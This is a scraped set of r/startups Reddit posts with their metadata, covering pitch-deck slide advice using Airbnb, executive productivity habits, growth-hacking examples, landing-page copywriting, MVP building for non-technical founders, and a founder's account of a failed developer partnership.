https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-6.jpg We think their product presentation is bad, and we would seriously enhance this page. Here’s why we think it fails: - All three pictures are quite small and don’t seem very sexy - They fail to highlight their uniqueness – to us, this could just as well have been a Hotels.com pitch. Now, it’s easy to criticize, so here’s how we would fix these things: - Use smartphone pictures instead of web pictures – these work much better in a presentation as they are optimized for smaller screens - Add bullets to highlight what makes each step of the process unique - Highlight building critical mass and network effect across the product Especially the latter is very important, as it highlights the switching costs. Airbnb (to our knowledge) is not protected by intellectual property rights – instead, they are protected by their market power: People post homes on Airbnb because that’s where the customers are. If they switch to another provider chances are, they’ll lose money as there are fewer customers. Here’s our product slide for Airbnb: https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-8.jpg Summing up, here’s what the product page should contain: - Product line-up including any relevant features such as (a) form factor, (b) functionality, (c) features, (d) architecture, (e) intellectual property), etc. - Development roadmap for your product (not relevant for Airbnb) --- #Slide #8: Let’s make some money also known as your business model slide And now to the really fun part: Making money! Here’s how Airbnb rakes in the dough: https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-7.jpg The Airbnb slide gets the message across and also shows significant proof of concept with revenue of USD 200m from 2008-2011. We would keep this information on the slide. However, the slide also has some shortcomings. While they are correct in stating that their business model is “taking a 10% commission on each transaction”, they fail to show how this plays out in practice. We would break the information down in a different way, so you end up with a slide like below: https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-9.jpg Now, let’s take a step back and highlight some things investors look for in the business model slide. Here are some things they like: - Active revenue streams, i.e. customers paying for a product or service - Recurring revenue streams such as monthly or annual subscriptions - Proof that customers are willing to buy the product - A growing customer base To sum up, here’s what your business model slide should contain and how we addressed it in our Airbnb presentation: - Revenue model – how revenue is generated - Pricing – in this case, the commission on each booking - Average account size and/or lifetime value – in this case, the average value of a booking to Airbnb - Sales & distribution model – addressed on a previous slide - Customer/pipeline list – could be included, but we decided not to include it. We will address this in the financials slide --- #Slide #9: The team slide and demonstrating why this team is superior The team slide is one of the simplest slides in the deck but also one of the most important ones – and often one of the slides, that does not get the love it deserves. The slide is all about limiting execution risk and the smaller the execution risk, the larger the price an investor is willing to pay. This makes perfect sense: If you were to invest in a coffee shop would you rather invest in some guy off the street or Jerry Baldwin (one of the founders of Starbucks)?... So, here’s what investors look for in the team: 1. Have they worked in a similar startup? And here there are of course bonus point if the previous startup was a success 2. Have they worked in a similar market? Here there are especially bonus points for having people on board who has worked at any of your identified competitors 3. Have they worked with similar technology? Of less importance to Airbnb as their code is not hard to write or anything groundbreaking, however, if you have a patented product this is huge 4. Is the team diverse? Ideally, investors like to see at least a tech/product person, a salesperson and a financial person in the team. 5. Has the team worked together before? The longer you’ve worked together, the less risk there is that things blow up and you leave because you hate the sight of each other. On the team slide, you should include the executive management of the firm as well as your Board of Directors / Board of Advisors. Now, most people just list the names of people and where they’ve worked before. However, they fail to address the issues of diversity and how long they’ve worked together before. Unfortunately, Airbnb didn’t include the team section in their slide package, but here’s how we would do it for a random business: https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-10.jpg Notice a few things here: - We address all five points from above - We divide code executive management and the Board of Directors, so investors can quickly see who’s who - We highlight/color code any overlap the persons have previously had so it’s easy to spot for the investor --- #Slide #10: Financials including forecasted revenue for the next three years On to the last slide of the deck: The financials of the firm, and what you are going to do if you get funding. There are quite a few ways to do this and there is no exact recipe – you can make very simple or very elaborate models showing the forecasted revenue and profitability of the company. Here at BlueTieSlides, we like to err on the side of caution and keep things simple, rather than getting lost in the intricate details of a model. We typically build a model based on assumptions about revenue, gross margin and cost levels going forward and work our way down to EBIT (Earnings Before Interest and Tax Payments). The other part is what we all came for: ###The capital you’re looking to raise and what it should be used for This ties in with the three-year model you’ve made: What are you actually going to use the money for? Here you should be very precise and list it in 3-4 bullets, and it should tie in with the forecast you’ve made in your model. I like to use the following format: **We are seeking $xxx in a Series A:** - When you target the money raised - How much capital has already been committed **So we can:** - Reach $xxx in sales / monthly recurring revenue (“MRR”) - Expand to other markets / improve customer acquisition/file for more patents - Scale our infrastructure This is very concise, and investors know exactly what the money’s for. Putting it all together, here’s how we would have made the financial slide for Airbnb (numbers are made up): https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-11.jpg --- #Outro Now, Airbnb obviously did raise money so who am I to tell them their presentation was bad? No one, however, I do think the presentation left a lot to the imagination of the reader and I do think Sequoias guidelines are great. And finally, I see so many people struggle with their presentation when all they need is an outline to follow. Whether you follow the outline I have given or not, I hope there's a lot you can take from the above :) ",SteveRices,380,29,1522163740,/r/startups/comments/87j7ap/how_to_make_a_pitch_deck_follow_along_as_i/,https://www.reddit.com/r/startups/comments/87j7ap/how_to_make_a_pitch_deck_follow_along_as_i/,self.startups,True,,,,, 1g572zs,startups,What I learned working with tech executives from Microsoft & Google. (How they do it.),"I used to look at some of these people running the worlds largest companies and wonder what that would be like … how exactly would you run something that big? Would it feel similar to the way I’ve run the smaller teams I’ve been a part of? Or would it be something so advanced and technical that I’d hardly recognize it? I just assumed they must have a totally different way of “getting work done” at that level. What I learned after actually working with a few of them really surprised me. I’ll outline my takeaways below. Before I started my own business I worked at a consultancy in Seattle. It’s in that context that I started meeting and working with executives from Microsoft, Google & Amazon etc. The executive I worked the longest and most closely with during that time was Jared Spataro from Microsoft. He was the CVP for all of Microsoft Office — in charge of everything “Office.” Billions of dollars of investment decisions, thousands of employees. Just mind boggling responsibility. Here are a few things that stood out to me as I observed Jared over a 6 month period. **1.)** - I’ve worked with dozens of people who have found themselves in “high demand” leadership positions (CEOs, Founders etc). I’ve noticed that most people I’ve met in that position seem to fall onto the “reactive” side of of the “Reactive vs Proactive” continuum. Meaning that the demand from these positions produces so many urgent tasks, that the leader spends most of their time and energy “catching up” with the demands of the system, rather than proactively driving it. They almost all have some degree of exhaustion hiding behind their eyes. If you imagine a really energetic horse and a cowboy trying to tame it. Most people are like the tired cowboy running out of steam long before the horse does — and then the horse continues to kick their butt and get into trouble long before the cowboy has caught their breath and can keep up. Jared was the first leader I have met that was the complete opposite. I’ve never seen someone so “ahead of the game.” You know how in “regular mortal human” teams, someone will report bad news or a problem and it will come as a surprise to the leader? “Oh shoot, ok what do we do about that?” I rarely remember Jared having that kind of reaction. In fact I frequently remember his reaction instead being, “Oh yeah, I thought that might happen, so I already called them and we fixed it.” Think about how insane that is … In the time it would take a normal person to identify a problem and then report it. Jared would already have anticipated it, tracked it down and solved it — all before the news was even announced in the first place. It was unreal. **2.) How did he do it?** Jared didn’t really have a secret. He told us on several occasions the formula he uses for managing his work. T.I.C. Which stands for Time - Intensity - Consistency. Thats it. Thats how he thought of just about everything as far as I can tell. If you want to see results on something, **time** needs to be scheduled for you to work on it. Then when that **time** rolls around, you need to hit that event with the right level of **intensity.** Set up the pattern and then do that **consistently.** Time, Intensity, Consistency. Time, Intensity, Consistency. Time, Intensity, Consistency. Time, Intensity, Consistency. TIC - TIC - TIC - TIC Its like a clock ticking. And every tick of the clock represents an opportunity for progress to happen and for things to move forward. So his entire game was about: 1.) Maintaining the quality of his TIC cycles and 2.) Increasing their tempo. Just like if you want to see results in the gym, you need to schedule **time** in the gym. When you go, you actually have to give your workouts the right **intensity.** And then you need to keep it up! You need to stay **consistent.** Do that and luck doesn’t matter anymore — you’ll see results whether you like it or not. So what was fascinating to me was that the advantage these executives had wasn’t some kind of ‘new way’ or secret. They just really **know the basics,** and their advantage is that they relentlessly stick to the basics better than anyone else. This is something you can start doing today. I personally use Story because I’m a biased Elkadeo Way fan. But whatever tools you use you probably have a way of identifying what tasks exist that are a priority to you. Do you have a time event scheduled where you consistently look at those priorities? And then schedule “TIC” events for each of them? No? Just make one right now. I do mine every night. I take 10 minutes to look at my priorities tab in Story and then schedule time the next day for me to work on the things that need to move forward. Then when those time events roll around — I try to hit them with focus and intensity! TIC TIC TIC. In some ways, the story of the thing you are building is like a movie. You want to see that story continue. You want to see the idea of your business become a reality. But even movies happen one frame at a time. TIC is process that forces the next frame of your movie to render on screen. If you increase that process, you’ll render more frames in the story of your business, and eventually you’ll find yourself in a different place than you are today.",Elkadeo,379,68,1729104989,/r/startups/comments/1g572zs/what_i_learned_working_with_tech_executives_from/,https://www.reddit.com/r/startups/comments/1g572zs/what_i_learned_working_with_tech_executives_from/,self.startups,True,,,,, 1jkdvr,startups,This sums up problems with startup founder focus really well,,DrBiometrics,377,31,1375454430,/r/startups/comments/1jkdvr/this_sums_up_problems_with_startup_founder_focus/,http://i.minus.com/ibaDjk7AeIcvxv.gif,i.minus.com,False,,,,, fxq6tr,startups,"I found 18 growth hacking examples to inspire you for your next campaign. (Not only popular ones like Airbnb and Dropbox, even one from Tiger King).","Hey guys, I was looking for an inspiration for myself and compiled this list. I was coming across to popular examples like Uber and Airbnb, so I dived deeper into the growth hacking ocean to put something different on the table. I included both popular and unpopular hacks to the list to inspire you, so here I go. **1. Puma** Puma asked Pele to tie his shoes before the kickoff and Pele did it. As expected, the cameras focused on Pele and his Puma's and made people realize the world's best footballer wore a Puma. [https://www.youtube.com/results?search\_query=pele+tie+shoes](https://www.youtube.com/results?search_query=pele+tie+shoes) According to the book “Three Stripes Versus Puma”, Pele was paid $120,000 to crouch and lace his shoes. This might be the best case of influencer marketing until this day. **Takeaway:** Ask yourself who, when, where. Who can introduce your product to your target audience best? When is the right time and which online or offline platform can you use to get maximum exposure? **2. Unsplash** Unsplash has a corner named “Collections"". They ask influencers (mostly micro-influencers) and invite them to pick their favorite photos and create a collection. Then Unsplash promotes the collection on the website, newsletter and social media platforms. Flattering right? Yes, at least that’s what the influencers think. The chosen influencers will often share their collections with their followers. And Unsplash gets free exposure + tons of user-generated content. **Takeaway:** People like to be praised and be the center of attention. You can benefit from other people's audiences. **3**. **Vitaly Uncensored** This is quite unconventional and it's dangerous. Vitaly Uncensored is a strange adult jokes platform. And people barely knew they existed until the Champions League final in 2019. Until Kinsey Wolanski (co-founder and girlfriend of Vitaly) caused an international stir after running on to the pitch with a swimsuit written ""Vitaly Uncensored"" all over. Naturally, people searched for the term and social media platforms like twitter flooded with reactions. Vitaly Uncensored now has more than 32 million registered users and has raked in up to £3m in advertising as a result. And she was fined just £13,000. **Takeaway:** A Growth hacker doesn't always follow the rules. You can sometimes break them as long as it is bringing you growth. **4. Ahrefs** Ahrefs can win the gold medal in the growth hacking Olympics. They're the most popular SEO tool and don't use Google Analytics. Neither do they use the Facebook Pixel. Instead, they hacked the most prominent SEO conference (Brighton SEO) with a 10 cent coffee cup. [https://imgur.com/a/VvlP1Xo](https://imgur.com/a/VvlP1Xo) Imagine how much attraction they had at the conference. Everybody was instantly aware of the existence of Ahrefs; those cups worked as an ice-breaker to open new conversations and possibilities. **Takeaway:** Make a list of conferences and offline events that you can join. And think of how you can direct the conversation to your brand. **5. Gmail** If you were an early adopter of Gmail, you'd remember this one. You could only create a Gmail account if a friend invited you. And every referrer had a limited amount of invites, which made it more exclusive and triggered the fear of missing out (FOMO) marketing technique. It was simultaneously so exclusive and so viral, some people auctioned Gmail invites on eBay. It worked well because Gmail was offering better features and quality of service compared to the alternatives in the market. **Takeaway:** Knowing behavioral psychology is a great asset for a growth hacker. Even a little psychological trick can be the foundation of a new growth hacking strategy. **6. Please don't tell** Gmail used exclusivity and FOMO triggers in their digital marketing strategy. What if you want to do it offline? Crif Dogs is a hip place known for its innovative hot dogs. There is a strange vintage phone booth corner in the restaurant. One day, a person walked in and used the rotary dial phone and CLICK, a secret passage door opened to a cozy bar. And the bartender treated him with a tasty cocktail and gave a card to this lucky person on the card written: ""Please Don't Tell"". As you may relate, that person has felt like he discovered the most astounding secret in the world. He then talked about this experience to all of his friends and it caused a social chain reaction. This word-of-mouth marketing strategy transformed this place into the busiest bar in New York City. So busy it's almost impossible to make a reservation. **Takeaway:** If you can make someone feel special with a big secret, you can create a community of privileged brand advocates. **7. Zynga** You must remember the era of FarmVille, MafiaWars or Zynga poker. These were the Facebook games that made addicts out of our friends, parents and loved ones. How? You know the classic pricing decoy: Small $3, medium $ 6.50 and large $7. Zynga re-engineered this by offering three choices to the user: grind, spam or pay. Well, since people didn't want to pay to continue playing games, they started to terrorize their friends by spamming them with invitations. This had a huge viral effect but after a while, Facebook put an end to this spamstorm. **Takeaway:** Try to approach popular marketing tactics from a different angle to create your own growth strategies. **8. CD Baby** ""Your order is on the way"" you probably have received an email similar to this one. But I don't think you ever received something like what Derek Sivers wrote: *Your CDs have been gently taken from our CD Baby shelves with sterilized contamination-free gloves and placed onto a satin pillow.* *A team of 50 employees inspected your CDs and polished them to make sure they were in the best possible condition before mailing.* *Our packing specialist from Japan lit a candle and a hush fell over the crowd as he put your CDs into the finest gold-lined box that money can buy.* *We all had a wonderful celebration afterwards and the whole party marched down the street to the post office where the entire town of Portland waved ‘Bon Voyage!’ to your package, on its way to you, in our private CD Baby jet on this day, Sunday, December 11th.* *I hope you had a wonderful time shopping at CD Baby. We sure did.* *Your picture is on our wall as “Customer of the Year”. We’re all exhausted but can’t wait for you to come back to CDBABY.COM!!* *Thank you once again,* *Derek Sivers, president, CD Baby* He spent 20 minutes writing this masterpiece and it exploded on the internet. This content got forwarded thousands of times, CD Baby got gazillions backlinks and new customers. **Takeaway:** Differentiate your e-mail marketing strategy or copywriting efforts. Sometimes it is as easy as to put a smile on your customers' faces. 9. **Tiger King** The Tiger King docuseries on Netflix have reached super-hyped status. One of the protagonists is called Joe Exotic, he is a sympathetic asshole. But I was not aware that he's a badass growth hacker too. Joe Exotic intimidated his archenemy and biggest competitor by renaming his tiger show. Just to add context if you don't know the show. Joe Exotic keeps more than 200 tigers in his wildlife park. On the other hand, there is that lady (Carole Baskin) who is catter than cats and trying to save tigers under the banner of Big Cat Rescue. And they're trying to sabotage each other, all the time. So to get more visibility to his tiger show and steal Carole's audience, Joe Exotic started a new show under the name""Big Cat Rescue Entertainment"". In the end, Carole sued Joe in a $1M lawsuit. Now, this obviously is not ethical and can hurt your reputation, I'm not suggesting you do the same. But this case can inspire you to be creative with your brand name. It could be interesting to include terms that people are already searching for. 10. **Fortnite** Fortnite’s growth hacking strategy has changed the way of marketing around games forever. Here is the default strategy of every game until the Fornite era. 1. Make the game. 2. Spend millions of dollars to promote it like crazy in conferences and ads of all sorts. 3. Launch the game, do the grand slam, collect the money and sail for the next game. That's why we see a new Call of Duty, Battlefield, Fifa and similar games each year. Well, Fortnite was not even popular in its first year but they found ways to retain their existing customer base with three tactics. 1. The game was completely free. 2. Huge in-game updates, which they called ""Seasons"". Every ten weeks, developers brought new mechanics, weapons, maps, characters and so on into the game. They announce these seasons with trailers and encourage gamers to create hype. So if you're a Fortnite player, you'll know, every ten weeks you'll have a new game to play. 1. Limited-time game mods They regularly launched new game modes for a limited time to create FOMO. And gamers kept coming back to not to miss this one-time experience. Meanwhile, they monetized the game by selling in-game items like character and weapon skins or dance moves. In a very short time, they acquired a huge fan base and created their own celebrity streamers. The rest is history. **Takeaway:** Acquisition is often an overrated aspect of marketing. In growth marketing, it's equally important to keep your current customers happy and transform them into your fans. (Focus on retention) 11. **Crimibox** Crimibox is an online interactive detective game that lets you become a Sherlock of your case. We prepared a FB chatbot quiz themed ""Which detective is hidden inside"". The assumption: If they are interested in knowing which kind of detective they are, they are potentially also interested in solving a murder case. Crimibox asked several questions in a chatbot and helped them find out their inner detective. At the end of the quiz, they offer them to solve a murder case and direct them to the crime scene. This scene was Kickstarter. Crimibox increased its subscriber number from 2K to 10K in 15 days and successfully launched on Kickstarter! Why did it work? 1. It was super targeted. 2. People always fall for personality quizzes **12. Shazam** What do you do when you Shazam a song? You try to suck up all sound from the music and Shazam does something quite ingenious at that moment. It encourages you to hold your phone up to speakers. And this move gets everyone curious like ""Why the hell is she lifting her phone to the speakers?"". So yes, this is nothing but a word-of-mouth marketing strategy at its best. It's not possible to measure the analytics or conversion rate but over 1 billion downloads say something. 13. **Uber** How could a brand single-handedly take down the traditional taxi business? By knowing the enemy and the customer. Hailing a cab after a night out is a pain in the ass, likewise in bad weather conditions. Uber knew that, and at the beginning, they focused on these key events. They also picked a subtle fight with yellow cabs by highlighting the areas where Uber excels like; easy payment, lower prices and no more taxi-hailing. People that were using the service were coming back, so they offered a $20 free ride to the new users to lure them in. After that, things went very fast, now we look at taxis like they're an endangered animal. **Takeaway:** There is always room to fit in with your product and outsmart the competition. Understand your competitors, customers and the environment to come up with smart tactics. **14. Hotmail** Hotmail's growth hacking strategy is super simple and many companies like Apple copy-pasted it. Hotmail placed a default signature line to every outgoing email and invited receivers to create a free account. Afterward, Apple and others used the same e-mail marketing strategy to spread awareness and grow their customer base. **15. Hubspot** Hubspot created a free tool that measures your site's performance by grading key factors like SEO, mobile performance and so on. Then it gives you tips to optimize your site. People shared this tool with each other, it got many backlinks and quite a lot of attention on social media platforms as well. No surprise, Hubspot grew its email list and grew to 15.000 users with the help of this one tool. **Takeaway:** Many brands create little add-ons, apps and tools that solve a problem for their target audience. Afterward, they launch it on platforms like Product Hunt to get free exposure. **16. Airbnb** Airbnb leeched its competitor Craigslist's blood and used them as a distribution channel for a long time. Their growth hacking strategy consisted of two parts. **One** They encourage their audience to cross-post their listing on Craigslist with a link back to their Airbnb profile. This way, hosts increased their chance to get rented and Airbnb got new users. Eventually, it got tons of free traffic and generated thousands of users. **Two** Next, they contacted existing Craigslist hosts and asked them to sign up on Airbnb. These two strategies helped them to grow their customer base and traffic without spending a dime. It worked because it was a win-win. Another one from Airbnb You know how important the pictures are when it comes to renting or buying a house. The founders of Airbnb knew this too. To grow bigger, they started to photograph their hosts' apartments. After the platform grew big enough, they hired an army of pro photographers to make their customers happy. And make some more $. **Takeaways:** Your target audience is already hanging out somewhere on the internet, find them and think of new ways to transform them into your customers. Don't expect value if you don't provide value. **17. Dollar Shave Club** Picking a fight with a strong argument is a deadly growth hacking strategy. Dollar Shave Club used video marketing to declare war to razor industry giants by asking these simple questions: \- Do you like spending $20 a month on a brand named razor? \- Do you think your razor needs a vibrating handle and flashlight? And Mike, the founder, gives the solution to his audience in this witty video. [https://www.youtube.com/watch?v=ZUG9qYTJMsI&t=1s](https://www.youtube.com/watch?v=ZUG9qYTJMsI&t=1s) The video went viral and got 26M views. Please watch if you're not one of the 26M people. **Takeaway:** Think of a problem in your industry and, use content marketing, show how your product could solve this issue. Especially video marketing is an effective way to show your brand personality and deliver your message. You can learn everything you need to start with video marketing by reading this eBook: **18. Dropbox** Dropbox is known for its creative onboarding process and referral program. The marketing strategy is quite simple. The product itself offers storage space in the cloud and they reward people with more space by gamifying the onboarding process. Just like in the story Hansel & Gretel, they embellish this hard process by offering little treats. And the main course was their referral program where they offered 500MB free extra storage. It works like this. You refer Dropbox to a friend, she signs up and you both get 500MB extra storage. 1 stone, 2 birds. So the cost of customer acquisition for Dropbox is 500MB. This is definitely one of the nastiest growth hacking techniques. **Takeaway:** One, If you can give extra value, you can make the onboarding process fun and rewarding for your users. Two, design a double-sided referral program. Offer something to the referrer and the referee. That's all folks! If you like it let me know in the comments. And if you want to read it on a blog with pictures and videos you can go here: [https://www.grow-force.com/growth-hacking-examples/](https://www.grow-force.com/growth-hacking-examples/)",SpicyCopy,377,49,1586428669,/r/startups/comments/fxq6tr/i_found_18_growth_hacking_examples_to_inspire_you/,https://www.reddit.com/r/startups/comments/fxq6tr/i_found_18_growth_hacking_examples_to_inspire_you/,self.startups,True,,,,, hi79e2,startups,"I noticed that a lot of landing pages on ""Share your startup"" lack the basic principles of copywriting, so I wrote this for you","Hello! I noticed that quite a lot of websites on the ""Share your startup"" thread lack the basic principles of copywriting. So I wrote this post to help you out. If you've not heard of copywriting before, it's simply salesmanship in print. Now, I'm not saying that your website has to be salesy. No one likes that! But it needs to sell. That's why you have one in the first place. Use empathy. Don't manipulate. Don't hard sell. Don't be aggressive. Persuade with compassion. Here's how. # Do your research first Research is very important. I can't stress this enough. You already know your target audience. Now, dig deeper. Find out what they like and don't like about your competitors. Notice how they speak on forums, social media, and the keywords they use in reviews. Why is research so important? You are writing for your ideal customer, not for yourself. What you believe in doesn't matter. Your opinions don't matter. You don't know what's best, your ideal customers do even though you may fit the buyer persona. You need to put yourself in your prospects' shoes and see things from their perspective. # Focus on one big idea - your USP Highlight your USP first then build on it with the benefits and features of your product/service. We find it easier to focus on one thing at a time. Your readers will find it easier to differentiate you from competitors with one thing. So highlight your USP in the main title and optional subtitle, then use the headings, subheadings, and body to build on it. You can be creative with the wording but use a voice your ideal customer can relate to. Here's an example: *main title: ""Unlimited movies, TV shows, and more.""* *subtitle: ""Watch anywhere. Cancel anytime.""* *heading #1: ""Enjoy on your TV.""* *heading #2: ""Download your shows to watch offline.""* *heading #3: ""Watch everywhere.""* # Write like how your ideal customers speak Use the language your prospects use in terms of slang and technical jargon. Use the keywords they use they talk about their pain points and the perfect solution to their problem. Match their tone as well. This makes you sound like someone who can relate to them and understand their problems. # Use ""you"" Your website is like your salesperson working 24/7. So write as if you're speaking to one person. Every visitor has a one-on-one interaction with your website. Using ""you"" will let them know that you're directly speaking to them, like how I'm directly speaking to you. As the saying goes: *if you're speaking to everyone, you're speaking to no one.* # Add social proof or an alternative If you have testimonials, reviews, client lists, places you've been featured in, add them. It builds credibility instantly. If you don't, find another way to build authority. It could be your values, your process, your background, your team's background. You can also add badges or even make a promise. Earn. Their. Trust. # Be clear and concise Get straight to the point. Don't waste your reader's time beating around the bush. For example, instead of this: *""Our team has already been recognized by market leaders and we are setting the trend for industry standards.""* Use this: *""Our team is recognized by market leaders as industry trendsetters.""* # ONE compelling call to action Stick with ONE call to action. The more CTAs, the lower the conversion rates. This is because of decision fatigue (the weary feeling you get after being faced with too many decisions). If you have to use more than one, use different colors and text sizes to contrast between them. You may also make one look more compelling than the other. You can repeat this call to action throughout your landing page. But make it easier for them to choose by sticking with a uniform text. More variations will give your prospect decision fatigue. \*\*\* I hope this helps! And hope I'll now see more r/startups websites following these basic copywriting principles. Any questions? Go ahead and pick my brain!",ACertifiedCopywriter,377,55,1593460299,/r/startups/comments/hi79e2/i_noticed_that_a_lot_of_landing_pages_on_share/,https://www.reddit.com/r/startups/comments/hi79e2/i_noticed_that_a_lot_of_landing_pages_on_share/,self.startups,True,,,,, z3s8m4,startups,9 tips for non-tech founders to build the right MVP today (from CTO of agency that built 30+ startups),"Meaning of MVP changed a lot during the last few years. From the tech perspective, no-code tools become popular, simple and accessible. From the funding perspective, you should have a product and a good traction to raise during the economic downturn. If you're just starting your product, don't rush into building from day 1. Here's how to validate, build and launch startups time and cost-effectively: **• Launch a landing page with value proposition (few hours, $0).** Use Super.so to host Notion pages and launch site in minutes. Use templates and website builders: Webflow, Tilda, Squarespace. From the day 1 you will have the website to share and start collecting the email subscriptions. Focus on copywriting to make your thoughts right and clear (read Writing That Works by Kenneth Roman). **• Decide on a single feature you need to build.** Your goal is to figure out just one feature that is enough to build to show for early clients. Avoid fancy features, focus must-have workflow. It sounds simple but on practice it extremely hard to get rid of extra features. (read Make by Pieter Levels) **• Start with the designs in Figma (manually or < $5k).** Communicate your ideas through visuals. Text and verbal conversations with your customers are abstract and difficult to interpret. When you see a visual design you effectively see the working product. Design process will also get you clarity as you'll likely miss a lot of details at this point. **• Validate: Promote, Interview, Sell.** Focus on getting first customers and interviewing them. Show them Figma designs and make sure you actually solve their problem and excite them (read The Mom Test for more). Your website will convert if you solve the actual problem and you use the right words to communicate that. Early marketing is tough and it's mainly personal / direct outreach. &#x200B; Once you validated, build: • **Set the deadline to launch in 1 month to 2 months max. Target $30k max to build.** There are some exceptions eg. regulations in FinTech/HealthTech but for the most startups it's a viable timeline and budget if you're serious about limiting scope. • **Don't automate, do manually first.** Don't rush to automate things before users actually use your product. Wrong automation will slow you down significantly and lock you in tech. Do ops manually, write a playbook and then automate. Hire a virtual assistent rather than dev. **• Use no-code tools to automate manual ops.** Once manual workflow is clear and you ready to automate it, use no-code tools first: Zapier, Airtable, Webflow, Retool, TypeForm etc. It'll save you time and money and make you independent from the tech team. You won't get a perfect custom UX, but early you won't need that. Most of these tools are free for early-stage startups. • **Make sure your tech team shows you demo weekly.** That should be an actual product demo that you can access and click through. Not designs/written updates etc. If you don't see regular updates — I can assure you won't release in time. Ask to record video demos in Loom to save time on calls. **• Set the goal for your launches and visualize metrics.** Without specific goals you can get into endless building mode. Avoid that at all costs. Choose few main metrics (\~3) and visualise them to track daily (use google sheets, airtable, retool or amplitude). Metrics should be related to traction, eg. views, conversion %, signed up users/providers, numbers of actions, retention. \-- There's much more to say about iterating the product, but the rule of thumb is to limit scope heavily, release very early, test on real users and move fast based on data. Avoid hiring developers and getting much into tech until your product is validated and you've got the first traction.",iharkrasnik,373,92,1669317391,/r/startups/comments/z3s8m4/9_tips_for_nontech_founders_to_build_the_right/,https://www.reddit.com/r/startups/comments/z3s8m4/9_tips_for_nontech_founders_to_build_the_right/,self.startups,True,,,,, 5xujr6,startups,Y Combinator is launching free 10-week online course on making startups.,"I applied to them several times, but we weren't selected ¯\_(ツ)_/¯ Now they are launching free [online course](https://blog.ycombinator.com/onlineclass/) and it's good chance to listen to their mentors. I guess, that many topics will be obvious, but still it's cool to listen to folks like Jan Koum (WhatsApp), Patrick Collison (Stripe), Steve Huffman (Reddit), Adam D’Angelo (Quora), Alex Schultz (Facebook) or YC team. They don't have an open registration yet, but I hope to check out this course.",LisaDziuba,373,21,1488821557,/r/startups/comments/5xujr6/y_combinator_is_launching_free_10week_online/,https://www.reddit.com/r/startups/comments/5xujr6/y_combinator_is_launching_free_10week_online/,self.startups,True,,,,, 710r53,startups,"After 5 Years of Fail, I made $147,000 in Two Months: An /r/startups Success Story","This whole thing started about 5 years ago and I was inspired to rehash the journey when I happened upon a post I’d made back in Dec. 2012 on the [Fires of Heaven] [p] gaming forums. &nbsp; tl;dr - So, after nearly 5 years of failing at SAAS, within two months we did $147,000 in sales and if nothing changes (even if we don’t add a single customer) we’ll do a little over $350,000 in sales next year. Given, our current sales are more like cash advances, but it’s still cash-in-hand. &nbsp; Also, we’re currently in talks with another company that wants to test our product with one of their crews, and if they buy in, it would push our sales to over $1,000,000 next year. In my business plan, I’d assumed we’d need at least 50 companies in our system to hit that number in sales, but we could potentially do with 3 and within the first year of actual sales. &nbsp; **PART 1** To give some context, LL is a SAAS product in the timber industry and at this point we’ve spent over 4 years pursuing it. We spent the first 3 years with one guy and pushed out a web app and two android apps, which eventually sputtered, and 1.5 more years going back to the drawing board, raising startup capital, and doing things “the right way”. &nbsp; In other posts on Fires of Heaven I’d mentioned that our developer for LL had overcommitted himself and was moving slowly. This trend continued and really never remedied itself. I think this occurred because of two major issues that I’m sure most startups make: &nbsp; 1. We hired poorly - Our developer already had an app on the market that was bringing him cashflow, so he didn’t need our app to be successful. He was already content and that’s bad. - We traded him equity up front in exchange for his time, which created a huge issue six months into development, where he was less-and-less motivated to work. He was already vested and wasn’t getting paid, so it’s understandable. Giving up leverage up front is bad. Don’t reward people for doing nothing, reward them for doing good somethings. - He was a back-end-only guy, who tried to wear the designer hat, didn’t ask for help when he needed it, and made way too many executive decisions. He was sort of a loner who didn’t work/communicate well with others. He was a nice guy, but lacked process and the ability to communicate. - He didn’t develop on a framework, which bit us on the ass over-and-over again. Spaghetti code is bad. &nbsp; 2. We didn’t spend enough time planning - I took our developers word on a lot of stuff and chose to be lazy instead of being diligent and checking up on the software’s progress. This was exacerbated by his lack of willingness to communicate and propensity to get red-faced if he was questioned. - We didn’t integrate the design/development process until later in the dev process, which should’ve been done up front. It also tangled up in our hire, where our developer refused any changes and took any suggestions as a direct insult.Which, ultimately left us with an interface of Frankenstein proportions. - Scope creep. When you don’t have a design and someone’s building software based on assumptions and what you tell him, you’re going to have scope creep. You’re going to have some much mf’ing scope creep you’ll think it’ll never end. It won’t. &nbsp; The first mistake lended itself to the second mistake. I still remember the day we met with our developer for the first time, presented our site-map and a simple user-flow, asked if he had any questions, and he responded, “Nope. I got it! I’ll get started right away.” I still remember being shocked and confused by the response. “Really? You don’t have a single question? This is pretty extensive software…” I do, however, remember my Dad being impressed and excited by the response, which I think was due to his lack of knowledge around software design/dev more than anything. &nbsp; This sort of shoot-from-the-hip attitude quickly became the norm and about a year later we were trying and failing to onboard our first customer. I think it was around the Summer of 2014. My Dad and our developer went to meet the customer in person and get him started. Everyone was excited and I was waiting to get a phone call talking about a successful launch. To make a long story short, our developer couldn’t even get him signed up. To this day I cannot comprehend how this even happens, but I’ll point again to #2 on the “major issues” docket. &nbsp; About 6 months prior to this we’d totally redesigned the site and hired a front-end guy to come in a put the UI together. Before this, the software was a total clusterf*^$ and nearly impossible to navigate, so it was a necessity. I spent a lot of time with a designer getting everything right and then again with the front end guy to get it translated. Once we got it into the hands of our developer, he totally half-assed the integration. I was pissed. &nbsp; When I called him on it he was legitimately shocked. I couldn’t believe it. He insisted that he’d done his best, wasn’t a designer, wasn’t a front end guy, and had been left holding the bag to get everything done and out the door while my Dad and I twiddled our thumbs. Mind you he never asked for help or direction during the integration, did it all in one foul swoop, and then cried foul when I got pissed. It was at this moment that I knew we were fucked. I guess what I felt in that moment was the same feeling people get when they realize they’re in a shitty relationship for the first time. And I was most certainly in a shitty relationship. &nbsp; If I questioned his design choices, he’d get mad and say he wasn’t a designer. When I presented him with designs, he’d half-bake them into the software no-questions-asked and then get mad when I questioned them. The weirdest one was the whole design thing, because he would consistently emphasize the fact that he wasn’t a designer or a front end guy and then lose his mind if I was critical of design choices or front end dev choices he’d unilaterally made. Anyways, I realized that this was a bad cycle that was only going to repeat itself. &nbsp; After the failed launch, I upped my cries for parting ways with the developer, which had only been subtle asides in conversation up until this point. It probably took 3-4 months for my Dad to get onboard with the idea. You see he’d been the one going to the developers house everyday to motivate him to work, make sure things were getting done and hold him accountable. 